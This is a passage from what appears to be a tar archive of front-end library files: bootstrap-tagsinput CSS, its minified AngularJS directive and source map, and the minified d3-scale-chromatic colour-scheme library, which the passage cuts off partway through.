cursor: text; } .bootstrap-tagsinput input { border: none; box-shadow: none; outline: none; background-color: transparent; padding: 0 6px; margin: 0; width: auto; max-width: inherit; } .bootstrap-tagsinput.form-control input::-moz-placeholder { color: #777; opacity: 1; } .bootstrap-tagsinput.form-control input:-ms-input-placeholder { color: #777; } .bootstrap-tagsinput.form-control input::-webkit-input-placeholder { color: #777; } .bootstrap-tagsinput input:focus { border: none; box-shadow: none; } .bootstrap-tagsinput .tag { margin-right: 2px; color: white; } .bootstrap-tagsinput .tag [data-role="remove"] { margin-left: 8px; cursor: pointer; } .bootstrap-tagsinput .tag [data-role="remove"]:after { content: "x"; padding: 0px 2px; } .bootstrap-tagsinput .tag [data-role="remove"]:hover { box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); } .bootstrap-tagsinput .tag [data-role="remove"]:hover:active { box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); } bootstrap-tagsinput-angular.min.js.map000064400000004157151677260650014146 0ustar00{"version":3,"sources":["../src/bootstrap-tagsinput-angular.js"],"names":["angular","module","directive","getItemProperty","scope","property","isFunction","$parent","item","undefined","restrict","model","template","replace","link","element","attrs","$","isArray","select","typeaheadSourceArray","typeaheadSource","split","length","tagsinput","options","typeahead","source","itemValue","itemvalue","itemText","itemtext","confirmKeys","confirmkeys","JSON","parse","tagClass","tagclass","i","on","event","indexOf","push","idx","splice","prev","slice","$watch","added","filter","removed"],"mappings":";;;;;AAAAA,QAAQC,OAAO,0BACdC,UAAU,sBAAuB,WAEhC,QAASC,GAAgBC,EAAOC,GAC9B,MAAKA,GAGDL,QAAQM,WAAWF,EAAMG,QAAQF,IAC5BD,EAAMG,QAAQF,GAEhB,SAASG,GACd,MAAOA,GAAKH,IANLI,OAUX,OACEC,SAAU,KACVN,OACEO,MAAO,YAETC,SAAU,6BACVC,SAAS,EACTC,KAAM,SAASV,EAAOW,EAASC,GAC7BC,EAAE,WACKjB,QAAQkB,QAAQd,EAAMO,SACzBP,EAAMO,SAER,IAAIQ,GAASF,EAAE,SAAUF,GACrBK,EAAuBJ,EAAMK,gBAAkBL,EAAMK,gBAAgBC,MAAM,KAAO,KAClFD,EAAkBD,EACjBA,EAAqBG,OAAS,EAC3BnB,EAAMG,QAAQa,EAAqB,IAAIA,EAAqB,IAC1DhB,EAAMG,QAAQa,EAAqB,IACvC,IAEND,GAAOK,UAAUpB,EAAMG,QAAQS,EAAMS,SAAW,MAC9CC,WACEC,OAAW3B,QAAQM,WAAWe,GAAmBA,EAAkB,MAErEO,UAAWzB,EAAgBC,EAAOY,EAAMa,WACxCC,SAAW3B,EAAgBC,EAAOY,EAAMe,UACxCC,YAAc7B,EAAgBC,EAAOY,EAAMiB,aAAeC,KAAKC,MAAMnB,EAAMiB,cAAgB,IAC3FG,SAAWpC,QAAQM,WAAWF,EAAMG,QAAQS,EAAMqB,WAAajC,EAAMG,QAAQS,EAAMqB,UAAY,SAAS7B,GAAQ,MAAOQ,GAAMqB,WAG/H,KAAK,GAAIC,GAAI,EAAGA,EAAIlC,EAAMO,MAAMY,OAAQe,IACtCnB,EAAOK,UAAU,MAAOpB,EAAMO,MAAM2B,GAGtCnB,GAAOoB,GAAG,YAAa,SAASC,GACU,KAApCpC,EAAMO,MAAM8B,QAAQD,EAAMhC,OAC5BJ,EAAMO,MAAM+B,KAAKF,EAAMhC,QAG3BW,EAAOoB,GAAG,cAAe,SAASC,GAChC,GAAIG,GAAMvC,EAAMO,MAAM8B,QAAQD,EAAMhC,KACxB,MAARmC,GACFvC,EAAMO,MAAMiC,OAAOD,EAAK,IAK5B,IAAIE,GAAOzC,EAAMO,MAAMmC,OACvB1C,GAAM2C,OAAO,QAAS,WACpB,GAEIT,GAFAU,EAAQ5C,EAAMO,MAAMsC,OAAO,SAASX,GAAI,MAA2B,KAApBO,EAAKJ,QAAQH,KAC5DY,EAAUL,EAAKI,OAAO,SAASX,GAAI,MAAkC,KAA3BlC,EAAMO,MAAM8B,QAAQH,IAMlE,KAHAO,EAAOzC,EAAMO,MAAMmC,QAGdR,EAAI,EAAGA,EAAIY,EAAQ3B,OAAQe,IAC9BnB,EAAOK,UAAU,SAAU0B,EAAQZ,GAOrC,KAHAnB,EAAOK,UAAU,WAGZc,EAAI,EAAGA,EAAIU,EAAMzB,OAAQe,IAC5BnB,EAAOK,UAAU,MAAOwB,EAAMV,MAE/B","file":"bootstrap-tagsinput-angular.min.js"}bootstrap-tagsinput-angular.min.js000064400000002700151677260650013362 0ustar00/* * bootstrap-tagsinput v0.7.1 by Tim Schlechter * */ angular.module("bootstrap-tagsinput",[]).directive("bootstrapTagsinput",[function(){function a(a,b){return b?angular.isFunction(a.$parent[b])?a.$parent[b]:function(a){return a[b]}:void 0}return{restrict:"EA",scope:{model:"=ngModel"},template:"<select multiple></select>",replace:!1,link:function(b,c,d){$(function(){angular.isArray(b.model)||(b.model=[]);var e=$("select",c),f=d.typeaheadSource?d.typeaheadSource.split("."):null,g=f?f.length>1?b.$parent[f[0]][f[1]]:b.$parent[f[0]]:null;e.tagsinput(b.$parent[d.options||""]||{typeahead:{source:angular.isFunction(g)?g:null},itemValue:a(b,d.itemvalue),itemText:a(b,d.itemtext),confirmKeys:a(b,d.confirmkeys)?JSON.parse(d.confirmkeys):[13],tagClass:angular.isFunction(b.$parent[d.tagclass])?b.$parent[d.tagclass]:function(a){return d.tagclass}});for(var h=0;h<b.model.length;h++)e.tagsinput("add",b.model[h]);e.on("itemAdded",function(a){-1===b.model.indexOf(a.item)&&b.model.push(a.item)}),e.on("itemRemoved",function(a){var c=b.model.indexOf(a.item);-1!==c&&b.model.splice(c,1)});var i=b.model.slice();b.$watch("model",function(){var a,c=b.model.filter(function(a){return-1===i.indexOf(a)}),d=i.filter(function(a){return-1===b.model.indexOf(a)});for(i=b.model.slice(),a=0;a<d.length;a++)e.tagsinput("remove",d[a]);for(e.tagsinput("refresh"),a=0;a<c.length;a++)e.tagsinput("add",c[a])},!0)})}}}]); //# sourceMappingURL=bootstrap-tagsinput-angular.min.js.mapd3-scale-chromatic.min.js000064400000045006151677265060011252 0ustar00// https://d3js.org/d3-scale-chromatic/ v1.3.3 Copyright 2018 Mike Bostock !function(f,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("d3-interpolate"),require("d3-color")):"function"==typeof define&&define.amd?define(["exports","d3-interpolate","d3-color"],e):e(f.d3=f.d3||{},f.d3,f.d3)}(this,function(f,e,d){"use strict";function c(f){for(var e=f.length/6|0,d=new Array(e),c=0;c<e;)d[c]="#"+f.slice(6*c,6*++c);return d}var a=c("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf"),b=c("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666"),r=c("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666"),t=c("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928"),n=c("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2"),o=c("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc"),l=c("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999"),i=c("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3"),p=c("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f");function m(f){return e.interpolateRgbBasis(f[f.length-1])}var s=new Array(3).concat("d8b365f5f5f55ab4ac","a6611adfc27d80cdc1018571","a6611adfc27df5f5f580cdc1018571","8c510ad8b365f6e8c3c7eae55ab4ac01665e","8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e","8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e","8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e","5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30","5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30").map(c),u=m(s),h=new Array(3).concat("af8dc3f7f7f77fbf7b","7b3294c2a5cfa6dba0008837","7b3294c2a5cff7f7f7a6dba0008837","762a83af8dc3e7d4e8d9f0d37fbf7b1b7837","762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837","762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837","762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837","40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b","40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b").map(c),y=m(h),w=new Array(3).concat("e9a3c9f7f7f7a1d76a","d01c8bf1b6dab8e1864dac26","d01c8bf1b6daf7f7f7b8e1864dac26","c51b7de9a3c9fde0efe6f5d0a1d76a4d9221","c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221","c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221","c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221","8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419","8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419").map(c),A=m(w),P=new Array(3).concat("998ec3f7f7f7f1a340","5e3c99b2abd2fdb863e66101","5e3c99b2abd2f7f7f7fdb863e66101","542788998ec3d8daebfee0b6f1a340b35806","542788998ec3d8daebf7f7f7fee0b6f1a340b35806","5427888073acb2abd2d8daebfee0b6fdb863e08214b35806","5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806","2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08","2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08").map(c),B=m(P),G=new Array(3).concat("ef8a62f7f7f767a9cf","ca0020f4a58292c5de0571b0","ca0020f4a582f7f7f792c5de0571b0","b2182bef8a62fddbc7d1e5f067a9cf2166ac","b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac","b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac","b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac","67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061","67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061").map(c),R=m(G),x=new Array(3).concat("ef8a62ffffff999999","ca0020f4a582bababa404040","ca0020f4a582ffffffbababa404040","b2182bef8a62fddbc7e0e0e09999994d4d4d","b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d","b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d","b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d","67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a","67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a").map(c),Y=m(x),g=new Array(3).concat("fc8d59ffffbf91bfdb","d7191cfdae61abd9e92c7bb6","d7191cfdae61ffffbfabd9e92c7bb6","d73027fc8d59fee090e0f3f891bfdb4575b4","d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4","d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4","d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4","a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695","a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695").map(c),M=m(g),O=new Array(3).concat("fc8d59ffffbf91cf60","d7191cfdae61a6d96a1a9641","d7191cfdae61ffffbfa6d96a1a9641","d73027fc8d59fee08bd9ef8b91cf601a9850","d73027fc8d59fee08bffffbfd9ef8b91cf601a9850","d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850","d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850","a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837","a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837").map(c),v=m(O),C=new Array(3).concat("fc8d59ffffbf99d594","d7191cfdae61abdda42b83ba","d7191cfdae61ffffbfabdda42b83ba","d53e4ffc8d59fee08be6f59899d5943288bd","d53e4ffc8d59fee08bffffbfe6f59899d5943288bd","d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd","d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd","9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2","9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2").map(c),S=m(C),I=new Array(3).concat("e5f5f999d8c92ca25f","edf8fbb2e2e266c2a4238b45","edf8fbb2e2e266c2a42ca25f006d2c","edf8fbccece699d8c966c2a42ca25f006d2c","edf8fbccece699d8c966c2a441ae76238b45005824","f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824","f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b").map(c),L=m(I),j=new Array(3).concat("e0ecf49ebcda8856a7","edf8fbb3cde38c96c688419d","edf8fbb3cde38c96c68856a7810f7c","edf8fbbfd3e69ebcda8c96c68856a7810f7c","edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b","f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b","f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b").map(c),q=m(j),D=new Array(3).concat("e0f3dba8ddb543a2ca","f0f9e8bae4bc7bccc42b8cbe","f0f9e8bae4bc7bccc443a2ca0868ac","f0f9e8ccebc5a8ddb57bccc443a2ca0868ac","f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e","f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e","f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081").map(c),_=m(D),k=new Array(3).concat("fee8c8fdbb84e34a33","fef0d9fdcc8afc8d59d7301f","fef0d9fdcc8afc8d59e34a33b30000","fef0d9fdd49efdbb84fc8d59e34a33b30000","fef0d9fdd49efdbb84fc8d59ef6548d7301f990000","fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000","fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000").map(c),V=m(k),W=new Array(3).concat("ece2f0a6bddb1c9099","f6eff7bdc9e167a9cf02818a","f6eff7bdc9e167a9cf1c9099016c59","f6eff7d0d1e6a6bddb67a9cf1c9099016c59","f6eff7d0d1e6a6bddb67a9cf3690c002818a016450","fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450","fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636").map(c),z=m(W),E=new Array(3).concat("ece7f2a6bddb2b8cbe","f1eef6bdc9e174a9cf0570b0","f1eef6bdc9e174a9cf2b8cbe045a8d","f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d","f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b","fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b","fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858").map(c),F=m(E),H=new Array(3).concat("e7e1efc994c7dd1c77","f1eef6d7b5d8df65b0ce1256","f1eef6d7b5d8df65b0dd1c77980043","f1eef6d4b9dac994c7df65b0dd1c77980043","f1eef6d4b9dac994c7df65b0e7298ace125691003f","f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f","f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f").map(c),J=m(H),K=new Array(3).concat("fde0ddfa9fb5c51b8a","feebe2fbb4b9f768a1ae017e","feebe2fbb4b9f768a1c51b8a7a0177","feebe2fcc5c0fa9fb5f768a1c51b8a7a0177","feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177","fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177","fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a").map(c),N=m(K),Q=new Array(3).concat("edf8b17fcdbb2c7fb8","ffffcca1dab441b6c4225ea8","ffffcca1dab441b6c42c7fb8253494","ffffccc7e9b47fcdbb41b6c42c7fb8253494","ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84","ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84","ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58").map(c),T=m(Q),U=new Array(3).concat("f7fcb9addd8e31a354","ffffccc2e69978c679238443","ffffccc2e69978c67931a354006837","ffffccd9f0a3addd8e78c67931a354006837","ffffccd9f0a3addd8e78c67941ab5d238443005a32","ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32","ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529").map(c),X=m(U),Z=new Array(3).concat("fff7bcfec44fd95f0e","ffffd4fed98efe9929cc4c02","ffffd4fed98efe9929d95f0e993404","ffffd4fee391fec44ffe9929d95f0e993404","ffffd4fee391fec44ffe9929ec7014cc4c028c2d04","ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04","ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506").map(c),$=m(Z),ff=new Array(3).concat("ffeda0feb24cf03b20","ffffb2fecc5cfd8d3ce31a1c","ffffb2fecc5cfd8d3cf03b20bd0026","ffffb2fed976feb24cfd8d3cf03b20bd0026","ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026","ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026","ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026").map(c),ef=m(ff),df=new Array(3).concat("deebf79ecae13182bd","eff3ffbdd7e76baed62171b5","eff3ffbdd7e76baed63182bd08519c","eff3ffc6dbef9ecae16baed63182bd08519c","eff3ffc6dbef9ecae16baed64292c62171b5084594","f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594","f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b").map(c),cf=m(df),af=new Array(3).concat("e5f5e0a1d99b31a354","edf8e9bae4b374c476238b45","edf8e9bae4b374c47631a354006d2c","edf8e9c7e9c0a1d99b74c47631a354006d2c","edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32","f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32","f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b").map(c),bf=m(af),rf=new Array(3).concat("f0f0f0bdbdbd636363","f7f7f7cccccc969696525252","f7f7f7cccccc969696636363252525","f7f7f7d9d9d9bdbdbd969696636363252525","f7f7f7d9d9d9bdbdbd969696737373525252252525","fffffff0f0f0d9d9d9bdbdbd969696737373525252252525","fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000").map(c),tf=m(rf),nf=new Array(3).concat("efedf5bcbddc756bb1","f2f0f7cbc9e29e9ac86a51a3","f2f0f7cbc9e29e9ac8756bb154278f","f2f0f7dadaebbcbddc9e9ac8756bb154278f","f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486","fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486","fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d").map(c),of=m(nf),lf=new Array(3).concat("fee0d2fc9272de2d26","fee5d9fcae91fb6a4acb181d","fee5d9fcae91fb6a4ade2d26a50f15","fee5d9fcbba1fc9272fb6a4ade2d26a50f15","fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d","fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d","fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d").map(c),pf=m(lf),mf=new Array(3).concat("fee6cefdae6be6550d","feeddefdbe85fd8d3cd94701","feeddefdbe85fd8d3ce6550da63603","feeddefdd0a2fdae6bfd8d3ce6550da63603","feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04","fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04","fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704").map(c),sf=m(mf),uf=e.interpolateCubehelixLong(d.cubehelix(300,.5,0),d.cubehelix(-240,.5,1)),hf=e.interpolateCubehelixLong(d.cubehelix(-100,.75,.35),d.cubehelix(80,1.5,.8)),yf=e.interpolateCubehelixLong(d.cubehelix(260,.75,.35),d.cubehelix(80,1.5,.8)),wf=d.cubehelix();var Af=d.rgb(),Pf=Math.PI/3,Bf=2*Math.PI/3;function Gf(f){var e=f.length;return function(d){return f[Math.max(0,Math.min(e-1,Math.floor(d*e)))]}}var Rf=Gf(c("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")),xf=Gf(c("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")),Yf=Gf(c("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")),gf=Gf(c("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921"));f.schemeCategory10=a,f.schemeAccent=b,f.schemeDark2=r,f.schemePaired=t,f.schemePastel1=n,f.schemePastel2=o,f.schemeSet1=l,f.schemeSet2=i,f.schemeSet3=p,f.interpolateBrBG=u,f.schemeBrBG=s,f.interpolatePRGn=y,f.schemePRGn=h,f.interpolatePiYG=A,f.schemePiYG=w,f.interpolatePuOr=B,f.schemePuOr=P,f.interpolateRdBu=R,f.schemeRdBu=G,f.interpolateRdGy=Y,f.schemeRdGy=x,f.interpolateRdYlBu=M,f.schemeRdYlBu=g,f.interpolateRdYlGn=v,f.schemeRdYlGn=O,f.interpolateSpectral=S,f.schemeSpectral=C,f.interpolateBuGn=L,f.schemeBuGn=I,f.interpolateBuPu=q,f.schemeBuPu=j,f.interpolateGnBu=_,f.schemeGnBu=D,f.interpolateOrRd=V,f.schemeOrRd=k,f.interpolatePuBuGn=z,f.schemePuBuGn=W,f.interpolatePuBu=F,f.schemePuBu=E,f.interpolatePuRd=J,f.schemePuRd=H,f.interpolateRdPu=N,f.schemeRdPu=K,f.interpolateYlGnBu=T,f.schemeYlGnBu=Q,f.interpolateYlGn=X,f.schemeYlGn=U,f.interpolateYlOrBr=$,f.schemeYlOrBr=Z,f.interpolateYlOrRd=ef,f.schemeYlOrRd=ff,f.interpolateBlues=cf,f.schemeBlues=df,f.interpolateGreens=bf,f.schemeGreens=af,f.interpolateGreys=